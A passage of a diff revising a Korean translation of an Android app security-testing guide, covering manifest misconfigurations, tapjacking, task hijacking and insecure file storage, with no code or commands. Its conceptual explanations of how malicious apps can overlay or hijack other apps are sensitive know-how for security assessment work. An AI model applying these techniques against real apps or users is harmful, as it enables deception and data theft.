ํŒŒ์ผ์— `debuggable="true"`๋กœ ์„ค์ •๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์—ฐ๊ฒฐ์„ ํ—ˆ์šฉํ•˜์—ฌ ์•…์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์œ„ํ—˜ํ•ฉ๋‹ˆ๋‹ค. debuggable ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ฐพ๊ณ  ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด์„œ๋Š” ๊ด€๋ จ ํŠœํ† ๋ฆฌ์–ผ์„ ์ฐธ์กฐํ•˜์„ธ์š”. +- **Debuggable Applications**: _Manifest.xml_ ํŒŒ์ผ์—์„œ `debuggable="true"`๋กœ ์„ค์ •๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์—ฐ๊ฒฐ์„ ํ—ˆ์šฉํ•ด ์•…์šฉ๋  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์œผ๋ฏ€๋กœ ์œ„ํ—˜ํ•ฉ๋‹ˆ๋‹ค. ๋””๋ฒ„๊น… ๊ฐ€๋Šฅ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋””๋ฐ”์ด์Šค์—์„œ ์ฐพ๊ณ  ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ํŠœํ† ๋ฆฌ์–ผ์„ ์ฐธ์กฐํ•˜์„ธ์š”. - **Backup Settings**: ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋‹ค๋ฃจ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฒฝ์šฐ `android:allowBackup="false"` ์†์„ฑ์„ ๋ช…์‹œ์ ์œผ๋กœ ์„ค์ •ํ•˜์—ฌ usb debugging์ด ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ adb๋ฅผ ํ†ตํ•œ ๋ฌด๋‹จ ๋ฐ์ดํ„ฐ ๋ฐฑ์—…์„ ๋ฐฉ์ง€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -- **Network Security**: _res/xml/_์˜ ์‚ฌ์šฉ์ž ์ •์˜ ๋„คํŠธ์›Œํฌ ๋ณด์•ˆ ์„ค์ •(`android:networkSecurityConfig="@xml/network_security_config"`)์€ certificate pinning์ด๋‚˜ HTTP ํŠธ๋ž˜ํ”ฝ ์„ค์ •๊ณผ ๊ฐ™์€ ๋ณด์•ˆ ์„ธ๋ถ€์‚ฌํ•ญ์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋กœ ํŠน์ • ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด HTTP ํŠธ๋ž˜ํ”ฝ์„ ํ—ˆ์šฉํ•˜๋Š” ์„ค์ •์ด ์žˆ์Šต๋‹ˆ๋‹ค. -- **Exported Activities and Services**: ๋งค๋‹ˆํŽ˜์ŠคํŠธ์—์„œ exported๋œ activity ๋ฐ service๋ฅผ ์‹๋ณ„ํ•˜๋ฉด ์˜ค์šฉ๋  ์ˆ˜ ์žˆ๋Š” ์ปดํฌ๋„ŒํŠธ๋ฅผ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋™์  ํ…Œ์ŠคํŠธ ์ค‘ ์ถ”๊ฐ€ ๋ถ„์„์„ ํ†ตํ•ด ์ด๋Ÿฌํ•œ ์ปดํฌ๋„ŒํŠธ๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐํž ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **Content Providers and FileProviders**: ๋…ธ์ถœ๋œ content provider๋Š” ๋ฌด๋‹จ ์ ‘๊ทผ์ด๋‚˜ ๋ฐ์ดํ„ฐ ๋ณ€๊ฒฝ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. FileProviders์˜ ๊ตฌ์„ฑ๋„ ๋ฉด๋ฐ€ํžˆ ๊ฒ€ํ† ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -- **Broadcast Receivers and URL Schemes**: ์ด๋Ÿฌํ•œ ์ปดํฌ๋„ŒํŠธ๋Š” ์•…์šฉ์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํŠนํžˆ URL ์Šคํ‚ด์ด ์ž…๋ ฅ ์ทจ์•ฝ์„ฑ์— ๋Œ€ํ•ด ์–ด๋–ป๊ฒŒ ๊ด€๋ฆฌ๋˜๋Š”์ง€ ์ฃผ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, ๋ฐ `maxSdkVersion` ์†์„ฑ์€ ์ง€์›๋˜๋Š” Android ๋ฒ„์ „์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ๋ณด์•ˆ์ƒ์˜ ์ด์œ ๋กœ ์˜ค๋ž˜๋œ ์ทจ์•ฝํ•œ Android ๋ฒ„์ „์„ ์ง€์›ํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•จ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. +- **Network Security**: _res/xml/_์˜ ์ปค์Šคํ…€ ๋„คํŠธ์›Œํฌ ๋ณด์•ˆ ๊ตฌ์„ฑ(`android:networkSecurityConfig="@xml/network_security_config"`)์€ certificate pinning์ด๋‚˜ HTTP ํŠธ๋ž˜ํ”ฝ ํ—ˆ์šฉ ์—ฌ๋ถ€ ๊ฐ™์€ ๋ณด์•ˆ ์„ธ๋ถ€์‚ฌํ•ญ์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋กœ ํŠน์ • ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด HTTP ํŠธ๋ž˜ํ”ฝ์„ ํ—ˆ์šฉํ•˜๋Š” ์„ค์ •์ด ์žˆ์Šต๋‹ˆ๋‹ค. +- **Exported Activities and Services**: Manifest์—์„œ exported๋œ activities์™€ services๋ฅผ ์‹๋ณ„ํ•˜๋ฉด ์˜ค์šฉ๋  ์ˆ˜ ์žˆ๋Š” ์ปดํฌ๋„ŒํŠธ๋ฅผ ์ฐพ์•„๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋™์  ํ…Œ์ŠคํŠธ ์ค‘ ์ถ”๊ฐ€ ๋ถ„์„์„ ํ†ตํ•ด ์ด๋Ÿฌํ•œ ์ปดํฌ๋„ŒํŠธ๋ฅผ ์–ด๋–ป๊ฒŒ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํŒŒ์•…ํ•˜์„ธ์š”. +- **Content Providers and FileProviders**: ๋…ธ์ถœ๋œ content provider๋Š” ๋ฌด๋‹จ ์ ‘๊ทผ์ด๋‚˜ ๋ฐ์ดํ„ฐ ๋ณ€๊ฒฝ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. FileProvider์˜ ๊ตฌ์„ฑ๋„ ๋ฉด๋ฐ€ํžˆ ๊ฒ€ํ† ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +- **Broadcast Receivers and URL Schemes**: ์ด๋“ค ์ปดํฌ๋„ŒํŠธ๋Š” ์ต์Šคํ”Œ๋กœ์ž‡์— ์ด์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํŠนํžˆ URL schemes๊ฐ€ ์ž…๋ ฅ ์ทจ์•ฝ์„ฑ์— ๋Œ€ํ•ด ์–ด๋–ป๊ฒŒ ์ฒ˜๋ฆฌ๋˜๋Š”์ง€ ์ฃผ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` ์†์„ฑ์€ ์ง€์›๋˜๋Š” Android ๋ฒ„์ „์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ์˜ค๋ž˜๋œ ์ทจ์•ฝํ•œ Android ๋ฒ„์ „์„ ์ง€์›ํ•˜์ง€ ์•Š๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•จ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. -**strings.xml** ํŒŒ์ผ์—์„œ๋Š” API keys, custom schemas ๋ฐ ๊ธฐํƒ€ ๊ฐœ๋ฐœ์ž ๋ฉ”๋ชจ์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ๋ฐœ๊ฒฌ๋  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ด๋Ÿฌํ•œ ๋ฆฌ์†Œ์Šค๋ฅผ ์ฃผ์˜ ๊นŠ๊ฒŒ ๊ฒ€ํ† ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +**strings.xml** ํŒŒ์ผ์—์„œ๋Š” API keys, custom schemas, ๊ธฐํƒ€ ๊ฐœ๋ฐœ์ž ๋ฉ”๋ชจ ๋“ฑ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ด๋Ÿฌํ•œ ๋ฆฌ์†Œ์Šค๋ฅผ ์‹ ์ค‘ํžˆ ๊ฒ€ํ† ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ### Tapjacking -Tapjacking์€ ์•…์„ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‹คํ–‰๋˜์–ด ํ”ผํ•ด์ž ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์œ„์— ์ž์‹ ์„ ๋ฐฐ์น˜ํ•˜๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค. ์ผ๋‹จ ํ”ผํ•ด์ž ์•ฑ์„ ์‹œ๊ฐ์ ์œผ๋กœ ๊ฐ€๋ฆฌ๋ฉด, ์•…์„ฑ ์•ฑ์˜ UI๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๊ทธ๊ฒƒ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๋„๋ก ์†์ด๋„๋ก ์„ค๊ณ„๋˜๋ฉฐ, ๋™์‹œ์— ๊ทธ ์ƒํ˜ธ์ž‘์šฉ์„ ํ”ผํ•ด์ž ์•ฑ์œผ๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ์‚ฌ์šฉ์ž๋Š” ์‹ค์ œ๋กœ ํ”ผํ•ด์ž ์•ฑ์—์„œ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ์žˆ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์•Œ์ง€ ๋ชปํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. +Tapjacking์€ **malicious** **application**์ด ์‹คํ–‰๋˜์–ด **victim application ์œ„์— ์œ„์น˜**ํ•˜๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค. ์•…์„ฑ ์•ฑ์ด ํ”ผํ•ด์ž ์•ฑ์„ ์‹œ๊ฐ์ ์œผ๋กœ ๊ฐ€๋ฆฌ๋ฉด, UI๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ƒํ˜ธ์ž‘์šฉํ•˜๋„๋ก ์œ ๋„ํ•˜๋„๋ก ์„ค๊ณ„๋˜๊ณ  ๊ทธ ์ƒํ˜ธ์ž‘์šฉ์„ ํ”ผํ•ด์ž ์•ฑ์œผ๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.\ +๊ฒฐ๊ณผ์ ์œผ๋กœ ์‚ฌ์šฉ์ž๋Š” ์ž์‹ ์ด ์‹ค์ œ๋กœ๋Š” ํ”ผํ•ด์ž ์•ฑ์—์„œ ์ž‘์—…ํ•˜๊ณ  ์žˆ๋‹ค๋Š” ์‚ฌ์‹ค์„ **์•Œ์ง€ ๋ชปํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค**. -์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: +์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: {{#ref}} @@ -102,82 +104,82 @@ tapjacking.md ### Task Hijacking -`launchMode`๊ฐ€ `singleTask`๋กœ ์„ค์ •๋˜์–ด ์žˆ๊ณ  `taskAffinity`๊ฐ€ ์ •์˜๋˜์–ด ์žˆ์ง€ ์•Š์€ activity๋Š” task Hijacking์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ์ฆ‰, ์•…์„ฑ application์„ ์„ค์น˜ํ•˜๊ณ  ์‹ค์ œ application๋ณด๋‹ค ๋จผ์ € ์‹คํ–‰ํ•˜๋ฉด ์‹ค์ œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ task๋ฅผ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ(์‚ฌ์šฉ์ž๋Š” ์‹ค์ œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‚ฌ์šฉํ•œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด์„œ ์•…์„ฑ application๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค). +`launchMode`๊ฐ€ **`singleTask`**๋กœ ์„ค์ •๋˜์–ด ์žˆ๊ณ  `taskAffinity`๊ฐ€ ์ •์˜๋˜์–ด ์žˆ์ง€ ์•Š์€ **activity**๋Š” Task Hijacking์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์•…์„ฑ **application**์„ ์„ค์น˜ํ•˜๊ณ  ์‹ค์ œ ์•ฑ๋ณด๋‹ค ๋จผ์ € ์‹คํ–‰ํ•˜๋ฉด **์‹ค์ œ ์•ฑ์˜ task๋ฅผ hijack**ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๋œป์ด๋ฉฐ(๋”ฐ๋ผ์„œ ์‚ฌ์šฉ์ž๋Š” ์‹ค์ œ ์•ฑ์„ ์‚ฌ์šฉํ•œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด์„œ **์•…์„ฑ ์•ฑ๊ณผ ์ƒํ˜ธ์ž‘์šฉ**ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค). -์ถ”๊ฐ€ ์ •๋ณด: +์ž์„ธํ•œ ๋‚ด์šฉ์€: {{#ref}} android-task-hijacking.md {{#endref}} -### ๋ถˆ์•ˆ์ •ํ•œ ๋ฐ์ดํ„ฐ ์ €์žฅ +### Insecure data storage -Internal Storage +**Internal Storage** -Android์—์„œ internal storage์— ์ €์žฅ๋œ ํŒŒ์ผ์€ ์ด๋ฅผ ์ƒ์„ฑํ•œ app๋งŒ ์ ‘๊ทผํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ณด์•ˆ ์กฐ์น˜๋Š” Android ์šด์˜์ฒด์ œ์— ์˜ํ•ด ๊ฐ•์ œ๋˜๋ฉฐ ๋Œ€๋ถ€๋ถ„์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ณด์•ˆ ์š”๊ตฌ์— ๋Œ€ํ•ด ์ผ๋ฐ˜์ ์œผ๋กœ ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ฐœ๋ฐœ์ž๊ฐ€ `MODE_WORLD_READABLE` ๋ฐ `MODE_WORLD_WRITABLE`๊ณผ ๊ฐ™์€ ๋ชจ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ์„ ์„œ๋กœ ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐ„์— ๊ณต์œ ํ•˜๋„๋ก ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ชจ๋“œ๋Š” ์ž ์žฌ์ ์œผ๋กœ ์•…์„ฑ ์•ฑ์„ ํฌํ•จํ•œ ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํŒŒ์ผ ์ ‘๊ทผ์„ ์ œํ•œํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +Android์—์„œ ๋‚ด๋ถ€ ์ €์žฅ์†Œ์— **์ €์žฅ๋œ** ํŒŒ์ผ์€ ํ•ด๋‹น ํŒŒ์ผ์„ **์ƒ์„ฑํ•œ ์•ฑ๋งŒ ์ ‘๊ทผํ•˜๋„๋ก ์„ค๊ณ„**๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ณด์•ˆ ์กฐ์น˜๋Š” Android OS์— ์˜ํ•ด ๊ฐ•์ œ๋˜๋ฉฐ ๋Œ€๋ถ€๋ถ„์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•ด ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ๊ฐœ๋ฐœ์ž๊ฐ€ `MODE_WORLD_READABLE` ๋˜๋Š” `MODE_WORLD_WRITABLE`๊ณผ ๊ฐ™์€ ๋ชจ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋กœ ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐ„ ํŒŒ์ผ ๊ณต์œ ๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ชจ๋“œ๋Š” ์ž ์žฌ์ ์œผ๋กœ ์•…์„ฑ ์•ฑ์„ ํฌํ•จํ•œ ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์˜ํ•ด ํŒŒ์ผ ์ ‘๊ทผ์„ **์ œํ•œํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค**. -1. **์ •์  ๋ถ„์„:** -- `MODE_WORLD_READABLE` ๋ฐ `MODE_WORLD_WRITABLE`์˜ ์‚ฌ์šฉ์„ **๋ฉด๋ฐ€ํžˆ ๊ฒ€ํ† **ํ•˜์„ธ์š”. ์ด๋Ÿฌํ•œ ๋ชจ๋“œ๋Š” ํŒŒ์ผ์„ ์˜๋„ํ•˜์ง€ ์•Š๊ฑฐ๋‚˜ ๋ฌด๋‹จ ์ ‘๊ทผ์— **๋…ธ์ถœ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. -2. **๋™์  ๋ถ„์„:** -- ์•ฑ์ด ์ƒ์„ฑํ•œ ํŒŒ์ผ์— ์„ค์ •๋œ **permissions**๋ฅผ **ํ™•์ธ**ํ•˜์„ธ์š”. ํŠนํžˆ ์–ด๋–ค ํŒŒ์ผ์ด ์ „์—ญ์ ์œผ๋กœ ์ฝ๊ธฐ ๋˜๋Š” ์“ฐ๊ธฐ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋„๋ก ์„ค์ •๋˜์–ด ์žˆ๋Š”์ง€ **ํ™•์ธ**ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์žฅ์น˜์— ์„ค์น˜๋œ **์–ด๋–ค application**์ด๋ผ๋„ ์ถœ์ฒ˜๋‚˜ ์˜๋„์™€ ์ƒ๊ด€์—†์ด ํ•ด๋‹น ํŒŒ์ผ์„ ์ฝ๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +1. **Static Analysis:** +- `MODE_WORLD_READABLE` ๋ฐ `MODE_WORLD_WRITABLE` ์‚ฌ์šฉ ์—ฌ๋ถ€๋ฅผ **์ฃผ์˜ ๊นŠ๊ฒŒ ๊ฒ€ํ† **ํ•˜์„ธ์š”. ์ด๋Ÿฌํ•œ ๋ชจ๋“œ๋Š” ํŒŒ์ผ์ด **์˜๋„์น˜ ์•Š๊ฑฐ๋‚˜ ๋ฌด๋‹จ์œผ๋กœ ๋…ธ์ถœ**๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +2. **Dynamic Analysis:** +- ์•ฑ์ด ์ƒ์„ฑํ•œ ํŒŒ์ผ์— ์„ค์ •๋œ **๊ถŒํ•œ**์„ **ํ™•์ธ**ํ•˜์„ธ์š”. ํŠนํžˆ ์–ด๋–ค ํŒŒ์ผ์ด ์ „ ์„ธ๊ณ„์ ์œผ๋กœ ์ฝ๊ธฐ ๋˜๋Š” ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๊ฒŒ ์„ค์ •๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์–ด๋–ค ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋“ (์ถœ์ฒ˜๋‚˜ ์˜๋„์™€ ๊ด€๊ณ„์—†์ด) ํ•ด๋‹น ํŒŒ์ผ์„ **์ฝ๊ฑฐ๋‚˜ ์ˆ˜์ •**ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฏ€๋กœ ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -External Storage +**External Storage** -SD ์นด๋“œ์™€ ๊ฐ™์€ **external storage**์˜ ํŒŒ์ผ์„ ๋‹ค๋ฃฐ ๋•Œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฃผ์˜์‚ฌํ•ญ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค: +SD ์นด๋“œ์™€ ๊ฐ™์€ **external storage**์˜ ํŒŒ์ผ์„ ๋‹ค๋ฃฐ ๋•Œ๋Š” ๋‹ค์Œ์„ ์œ ์˜ํ•˜์„ธ์š”: -1. ์ ‘๊ทผ์„ฑ: -- ์™ธ๋ถ€ ์ €์žฅ์†Œ์˜ ํŒŒ์ผ์€ **์ „์—ญ์ ์œผ๋กœ ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ**ํ•ฉ๋‹ˆ๋‹ค. ์ฆ‰, ์–ด๋–ค application์ด๋‚˜ ์‚ฌ์šฉ์ž๋„ ์ด ํŒŒ์ผ๋“ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -2. ๋ณด์•ˆ ๋ฌธ์ œ: -- ์ ‘๊ทผ์ด ์šฉ์ดํ•˜๊ธฐ ๋•Œ๋ฌธ์— **๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์™ธ๋ถ€ ์ €์žฅ์†Œ์— ์ €์žฅํ•˜์ง€ ์•Š๋Š” ๊ฒƒ**์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. -- ์™ธ๋ถ€ ์ €์žฅ์†Œ๋Š” ์ œ๊ฑฐ๋  ์ˆ˜ ์žˆ๊ณ  ์–ด๋–ค application๋„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด ๋œ ์•ˆ์ „ํ•ฉ๋‹ˆ๋‹ค. -3. ์™ธ๋ถ€ ์ €์žฅ์†Œ์—์„œ ๊ฐ€์ ธ์˜จ ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ: -- ์™ธ๋ถ€ ์ €์žฅ์†Œ์—์„œ ๊ฐ€์ ธ์˜จ ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•ด ํ•ญ์ƒ **์ž…๋ ฅ ๊ฒ€์ฆ(input validation)**์„ ์ˆ˜ํ–‰ํ•˜์„ธ์š”. ์ด๋Š” ํ•ด๋‹น ๋ฐ์ดํ„ฐ๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ถœ์ฒ˜์—์„œ ์˜จ ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์— ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. -- ์™ธ๋ถ€ ์ €์žฅ์†Œ์— ์‹คํ–‰ ํŒŒ์ผ์ด๋‚˜ class ํŒŒ์ผ์„ ๋‘๊ณ  ๋™์ ์œผ๋กœ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์€ ๊ฐ•๋ ฅํžˆ ๊ถŒ์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. -- ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์™ธ๋ถ€ ์ €์žฅ์†Œ์—์„œ ์‹คํ–‰ ํŒŒ์ผ์„ ๊ฐ€์ ธ์™€์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ, ์ด๋Ÿฌํ•œ ํŒŒ์ผ์ด ๋™์ ์œผ๋กœ ๋กœ๋“œ๋˜๊ธฐ ์ „์— **์„œ๋ช…๋˜๊ณ  ์•”ํ˜ธํ•™์ ์œผ๋กœ ๊ฒ€์ฆ**๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์ด ๋‹จ๊ณ„๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ ๋ฌด๊ฒฐ์„ฑ์„ ์œ ์ง€ํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. +1. **์ ‘๊ทผ์„ฑ**: +- ์™ธ๋ถ€ ์ €์žฅ์†Œ์˜ ํŒŒ์ผ์€ **์ „์—ญ์ ์œผ๋กœ ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ**ํ•ฉ๋‹ˆ๋‹ค. ์ฆ‰, ์–ด๋–ค ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋‚˜ ์‚ฌ์šฉ์ž๋„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +2. **๋ณด์•ˆ ๋ฌธ์ œ**: +- ์ ‘๊ทผ์ด ์‰ฌ์šฐ๋ฏ€๋กœ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์™ธ๋ถ€ ์ €์žฅ์†Œ์— ์ €์žฅํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. +- ์™ธ๋ถ€ ์ €์žฅ์†Œ๋Š” ์ œ๊ฑฐ๋  ์ˆ˜ ์žˆ๊ณ  ์–ด๋–ค ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ๋„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด ๋ณด์•ˆ์„ฑ์ด ๋‚ฎ์Šต๋‹ˆ๋‹ค. +3. **์™ธ๋ถ€ ์ €์žฅ์†Œ์˜ ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ**: +- ์™ธ๋ถ€ ์ €์žฅ์†Œ์—์„œ ๊ฐ€์ ธ์˜จ ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•ด ํ•ญ์ƒ **์ž…๋ ฅ ๊ฒ€์ฆ(input validation)**์„ ์ˆ˜ํ–‰ํ•˜์„ธ์š”. ์™ธ๋ถ€ ์ €์žฅ์†Œ์˜ ๋ฐ์ดํ„ฐ๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์†Œ์Šค์—์„œ ์™”๊ธฐ ๋•Œ๋ฌธ์— ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. +- ์™ธ๋ถ€ ์ €์žฅ์†Œ์— executables๋‚˜ class ํŒŒ์ผ์„ ์ €์žฅํ•ด ๋™์ ์œผ๋กœ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์€ ๊ฐ•๋ ฅํžˆ ๊ถŒ์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +- ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์™ธ๋ถ€ ์ €์žฅ์†Œ์—์„œ ์‹คํ–‰ ํŒŒ์ผ์„ ๊ฐ€์ ธ์™€์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ, ๋™์ ์œผ๋กœ ๋กœ๋“œํ•˜๊ธฐ ์ „์— ํ•ด๋‹น ํŒŒ์ผ๋“ค์ด **์„œ๋ช…๋˜๊ณ  ์•”ํ˜ธํ•™์ ์œผ๋กœ ๊ฒ€์ฆ**๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์ด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ ๋ฌด๊ฒฐ์„ฑ์„ ์œ ์ง€ํ•˜๋Š” ๋ฐ 